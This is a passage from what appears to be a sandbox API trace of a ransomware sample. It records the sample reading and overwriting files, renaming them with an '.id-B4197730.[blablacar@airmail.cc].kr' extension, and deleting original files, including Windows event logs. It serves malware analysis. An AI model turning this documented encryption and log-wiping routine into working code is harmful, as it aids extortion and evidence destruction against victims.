lpNewFilePointer=0x0) returned 1 [0090.871] WriteFile (in: hFile=0x340, lpBuffer=0x4293e80*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x391fc80, lpOverlapped=0x0 | out: lpBuffer=0x4293e80*, lpNumberOfBytesWritten=0x391fc80*=0x40000, lpOverlapped=0x0) returned 1 [0090.873] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0090.873] CloseHandle (hObject=0x340) returned 1 [0095.013] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0095.013] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0095.013] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0095.014] lstrlenW (lpString=".doc") returned 4 [0095.014] lstrcmpiW (lpString1=".doc", lpString2=".mzz") returned -1 [0095.014] lstrlenW (lpString=".docx") returned 5 [0095.014] lstrcmpiW (lpString1=".docx", lpString2="d.mzz") returned -1 [0095.014] lstrlenW (lpString=".pdf") returned 4 [0095.014] lstrcmpiW (lpString1=".pdf", lpString2=".mzz") returned 1 [0095.014] lstrlenW (lpString=".xls") returned 4 [0095.014] lstrcmpiW (lpString1=".xls", lpString2=".mzz") returned 1 [0095.014] lstrlenW (lpString=".xlsx") returned 5 [0095.014] lstrcmpiW (lpString1=".xlsx", lpString2="d.mzz") returned -1 [0095.014] lstrlenW (lpString=".ppt") returned 4 [0095.014] lstrcmpiW (lpString1=".ppt", lpString2=".mzz") returned 1 [0095.014] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0095.014] lstrlenW (lpString=".zip") returned 4 [0095.014] lstrcmpiW (lpString1=".zip", lpString2=".mzz") returned 1 [0095.014] lstrlenW (lpString=".rar") returned 4 [0095.014] lstrcmpiW (lpString1=".rar", lpString2=".mzz") returned 1 [0095.014] lstrlenW (lpString=".bz2") returned 4 [0095.014] lstrcmpiW (lpString1=".bz2", lpString2=".mzz") returned -1 [0095.014] lstrlenW (lpString=".7z") returned 3 [0095.014] lstrcmpiW (lpString1=".7z", lpString2="mzz") returned -1 [0095.014] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0095.014] lstrlenW (lpString=".dbf") returned 4 [0095.014] lstrcmpiW (lpString1=".dbf", lpString2=".mzz") returned -1 [0095.014] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0095.014] lstrlenW (lpString=".1cd") returned 4 [0095.014] lstrcmpiW (lpString1=".1cd", lpString2=".mzz") returned -1 [0095.014] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0095.014] lstrlenW (lpString=".jpg") returned 4 [0095.014] lstrcmpiW (lpString1=".jpg", lpString2=".mzz") returned -1 [0095.014] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0095.015] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0095.015] lstrlenW (lpString=".doc") returned 4 [0095.015] lstrcmpiW (lpString1=".doc", lpString2=".mzz") returned -1 [0095.015] lstrlenW (lpString=".docx") returned 5 [0095.015] lstrcmpiW (lpString1=".docx", lpString2="d.mzz") returned -1 [0095.015] lstrlenW (lpString=".pdf") returned 4 [0095.015] lstrcmpiW (lpString1=".pdf", lpString2=".mzz") returned 1 [0095.015] lstrlenW (lpString=".xls") returned 4 [0095.015] lstrcmpiW (lpString1=".xls", lpString2=".mzz") returned 1 [0095.015] lstrlenW (lpString=".xlsx") returned 5 [0095.015] lstrcmpiW (lpString1=".xlsx", lpString2="d.mzz") returned -1 [0095.015] lstrlenW (lpString=".ppt") returned 4 [0095.015] lstrcmpiW (lpString1=".ppt", lpString2=".mzz") returned 1 [0095.015] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0095.015] lstrlenW (lpString=".zip") returned 4 [0095.015] lstrcmpiW (lpString1=".zip", lpString2=".mzz") returned 1 [0095.015] lstrlenW (lpString=".rar") returned 4 [0095.015] lstrcmpiW (lpString1=".rar", lpString2=".mzz") returned 1 [0095.015] lstrlenW (lpString=".bz2") returned 4 [0095.015] lstrcmpiW (lpString1=".bz2", lpString2=".mzz") returned -1 [0095.015] lstrlenW (lpString=".7z") returned 3 [0095.015] lstrcmpiW (lpString1=".7z", lpString2="mzz") returned -1 [0095.015] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0095.015] lstrlenW (lpString=".dbf") returned 4 [0095.015] lstrcmpiW (lpString1=".dbf", lpString2=".mzz") returned -1 [0095.015] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0095.015] lstrlenW (lpString=".1cd") returned 4 [0095.015] lstrcmpiW (lpString1=".1cd", lpString2=".mzz") returned -1 [0095.015] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0095.015] lstrlenW (lpString=".jpg") returned 4 [0095.015] lstrcmpiW (lpString1=".jpg", lpString2=".mzz") returned -1 [0095.016] lstrcmpiW (lpString1=".msu", lpString2=".kr") returned 1 [0095.016] lstrlenW (lpString="Windows6.1-KB958488-v6001-x86.msu") returned 33 [0095.016] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0095.016] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x391ff14 | out: lpFileSize=0x391ff14*=2141433) returned 1 [0095.016] CloseHandle (hObject=0x340) returned 1 [0095.016] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu")) returned 0x80 [0095.016] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0095.131] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu"), lpNewFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu.id-b4197730.[blablacar@airmail.cc].kr")) returned 1 [0095.133] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0095.133] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fc64 | out: lpNewFilePointer=0x0) returned 1 [0095.133] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fc24 | out: lpNewFilePointer=0x0) returned 1 [0095.133] ReadFile (in: hFile=0x364, lpBuffer=0x3f02058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x391fc30, lpOverlapped=0x0 | out: lpBuffer=0x3f02058*, lpNumberOfBytesRead=0x391fc30*=0x40000, lpOverlapped=0x0) returned 1 [0095.140] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0xae453, lpNewFilePointer=0x0, dwMoveMethod=0x391fc24 | out: lpNewFilePointer=0x0) returned 1 [0095.140] ReadFile (in: hFile=0x364, lpBuffer=0x3f42058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x391fc30, lpOverlapped=0x0 | out: lpBuffer=0x3f42058*, lpNumberOfBytesRead=0x391fc30*=0x40000, lpOverlapped=0x0) returned 1 [0095.144] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x391fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0095.144] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x1cacf9, lpNewFilePointer=0x0, dwMoveMethod=0x391fc24 | out: lpNewFilePointer=0x0) returned 1 [0095.144] ReadFile (in: hFile=0x364, lpBuffer=0x3f82058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x391fc30, lpOverlapped=0x0 | out: lpBuffer=0x3f82058*, lpNumberOfBytesRead=0x391fc30*=0x40000, lpOverlapped=0x0) returned 1 [0095.623] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0095.623] WriteFile (in: hFile=0x364, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0xc012e, lpNumberOfBytesWritten=0x391fca8, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fca8*=0xc012e, lpOverlapped=0x0) returned 1 [0095.636] SetEndOfFile (hFile=0x364) returned 1 [0095.637] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x40000) returned 0x436ced0 [0095.643] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fc74 | out: lpNewFilePointer=0x0) returned 1 [0095.643] WriteFile (in: hFile=0x364, lpBuffer=0x436ced0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x391fc80, lpOverlapped=0x0 | out: lpBuffer=0x436ced0*, lpNumberOfBytesWritten=0x391fc80*=0x40000, lpOverlapped=0x0) returned 1 [0095.644] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0xae453, lpNewFilePointer=0x0, dwMoveMethod=0x391fc74 | out: lpNewFilePointer=0x0) returned 1 [0095.645] WriteFile (in: hFile=0x364, lpBuffer=0x436ced0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x391fc80, lpOverlapped=0x0 | out: lpBuffer=0x436ced0*, lpNumberOfBytesWritten=0x391fc80*=0x40000, lpOverlapped=0x0) returned 1 [0095.647] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x1cacf9, lpNewFilePointer=0x0, dwMoveMethod=0x391fc74 | out: lpNewFilePointer=0x0) returned 1 [0095.647] WriteFile (in: hFile=0x364, lpBuffer=0x436ced0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x391fc80, lpOverlapped=0x0 | out: lpBuffer=0x436ced0*, lpNumberOfBytesWritten=0x391fc80*=0x40000, lpOverlapped=0x0) returned 1 [0095.648] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x436ced0 | out: hHeap=0x440000) returned 1 [0095.648] CloseHandle (hObject=0x364) returned 1 [0097.360] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0097.360] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0097.360] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0097.360] lstrlenW (lpString=".doc") returned 4 [0097.360] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0097.360] lstrlenW (lpString=".docx") returned 5 [0097.360] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0097.360] lstrlenW (lpString=".pdf") returned 4 [0097.360] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0097.360] lstrlenW (lpString=".xls") returned 4 [0097.360] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0097.360] lstrlenW (lpString=".xlsx") returned 5 [0097.361] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0097.361] lstrlenW (lpString=".ppt") returned 4 [0097.361] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0097.361] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0097.361] lstrlenW (lpString=".zip") returned 4 [0097.361] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0097.361] lstrlenW (lpString=".rar") returned 4 [0097.361] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0097.361] lstrlenW (lpString=".bz2") returned 4 [0097.361] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0097.361] lstrlenW (lpString=".7z") returned 3 [0097.361] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0097.361] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0097.361] lstrlenW (lpString=".dbf") returned 4 [0097.361] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0097.361] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0097.361] lstrlenW (lpString=".1cd") returned 4 [0097.361] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0097.361] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0097.361] lstrlenW (lpString=".jpg") returned 4 [0097.361] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0097.361] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0097.361] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0097.361] lstrlenW (lpString=".doc") returned 4 [0097.362] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0097.362] lstrlenW (lpString=".docx") returned 5 [0097.362] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0097.362] lstrlenW (lpString=".pdf") returned 4 [0097.362] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0097.362] lstrlenW (lpString=".xls") returned 4 [0097.362] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0097.362] lstrlenW (lpString=".xlsx") returned 5 [0097.362] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0097.362] lstrlenW (lpString=".ppt") returned 4 [0097.362] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0097.362] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0097.362] lstrlenW (lpString=".zip") returned 4 [0097.362] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0097.362] lstrlenW (lpString=".rar") returned 4 [0097.362] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0097.362] lstrlenW (lpString=".bz2") returned 4 [0097.362] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0097.362] lstrlenW (lpString=".7z") returned 3 [0097.362] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0097.362] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0097.362] lstrlenW (lpString=".dbf") returned 4 [0097.362] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0097.362] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0097.362] lstrlenW (lpString=".1cd") returned 4 [0097.363] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0097.363] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0097.363] lstrlenW (lpString=".jpg") returned 4 [0097.363] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0097.363] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0097.363] lstrlenW (lpString="Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 56 [0097.363] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0098.262] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x391ff14 | out: lpFileSize=0x391ff14*=69632) returned 1 [0098.262] CloseHandle (hObject=0x33c) returned 1 [0098.263] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx")) returned 0x20 [0098.263] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0098.263] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0098.263] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0098.263] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0098.263] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0098.264] GetLastError () returned 0x0 [0098.264] ReadFile (in: hFile=0x33c, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x11000, lpOverlapped=0x0) returned 1 [0098.267] WriteFile (in: hFile=0x328, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0x11010, lpOverlapped=0x0) returned 1 [0098.270] ReadFile (in: hFile=0x33c, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x0, lpOverlapped=0x0) returned 1 [0098.270] WriteFile (in: hFile=0x328, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0x144, lpOverlapped=0x0) returned 1 [0098.270] SetEndOfFile (hFile=0x328) returned 1 [0098.270] CloseHandle (hObject=0x328) returned 1 [0098.274] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0098.274] SetEndOfFile (hFile=0x33c) returned 1 [0098.275] CloseHandle (hObject=0x33c) returned 1 [0098.276] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0098.276] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx")) returned 1 [0098.276] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0098.276] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0098.276] lstrlenW (lpString=".doc") returned 4 [0098.276] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0098.276] lstrlenW (lpString=".docx") returned 5 [0098.276] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0098.276] lstrlenW (lpString=".pdf") returned 4 [0098.276] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0098.277] lstrlenW (lpString=".xls") returned 4 [0098.277] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0098.277] lstrlenW (lpString=".xlsx") returned 5 [0098.277] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0098.277] lstrlenW (lpString=".ppt") returned 4 [0098.277] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0098.277] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0098.277] lstrlenW (lpString=".zip") returned 4 [0098.277] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0098.277] lstrlenW (lpString=".rar") returned 4 [0098.277] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0098.277] lstrlenW (lpString=".bz2") returned 4 [0098.277] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0098.277] lstrlenW (lpString=".7z") returned 3 [0098.277] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0098.277] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0098.277] lstrlenW (lpString=".dbf") returned 4 [0098.277] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0098.277] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0098.277] lstrlenW (lpString=".1cd") returned 4 [0098.277] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0098.277] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0098.278] lstrlenW (lpString=".jpg") returned 4 [0098.278] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0098.278] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0098.278] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0098.278] lstrlenW (lpString=".doc") returned 4 [0098.278] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0098.278] lstrlenW (lpString=".docx") returned 5 [0098.278] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0098.278] lstrlenW (lpString=".pdf") returned 4 [0098.278] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0098.278] lstrlenW (lpString=".xls") returned 4 [0098.278] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0098.278] lstrlenW (lpString=".xlsx") returned 5 [0098.278] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0098.278] lstrlenW (lpString=".ppt") returned 4 [0098.278] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0098.278] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0098.278] lstrlenW (lpString=".zip") returned 4 [0098.278] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0098.278] lstrlenW (lpString=".rar") returned 4 [0098.279] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0098.279] lstrlenW (lpString=".bz2") returned 4 [0098.279] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0098.279] lstrlenW (lpString=".7z") returned 3 [0098.279] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0098.279] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0098.279] lstrlenW (lpString=".dbf") returned 4 [0098.279] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0098.279] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0098.279] lstrlenW (lpString=".1cd") returned 4 [0098.279] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0098.279] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0098.279] lstrlenW (lpString=".jpg") returned 4 [0098.279] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0098.279] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0098.279] lstrlenW (lpString="Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 50 [0098.279] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0098.280] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x391ff14 | out: lpFileSize=0x391ff14*=69632) returned 1 [0098.280] CloseHandle (hObject=0x33c) returned 1 [0098.280] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx")) returned 0x20 [0098.280] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0098.280] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0098.280] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0098.280] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0098.280] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0098.281] GetLastError () returned 0x0 [0098.281] ReadFile (in: hFile=0x33c, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x11000, lpOverlapped=0x0) returned 1 [0098.284] WriteFile (in: hFile=0x328, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0x11010, lpOverlapped=0x0) returned 1 [0098.286] ReadFile (in: hFile=0x33c, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x0, lpOverlapped=0x0) returned 1 [0098.286] WriteFile (in: hFile=0x328, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0x138, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0x138, lpOverlapped=0x0) returned 1 [0098.287] SetEndOfFile (hFile=0x328) returned 1 [0098.287] CloseHandle (hObject=0x328) returned 1 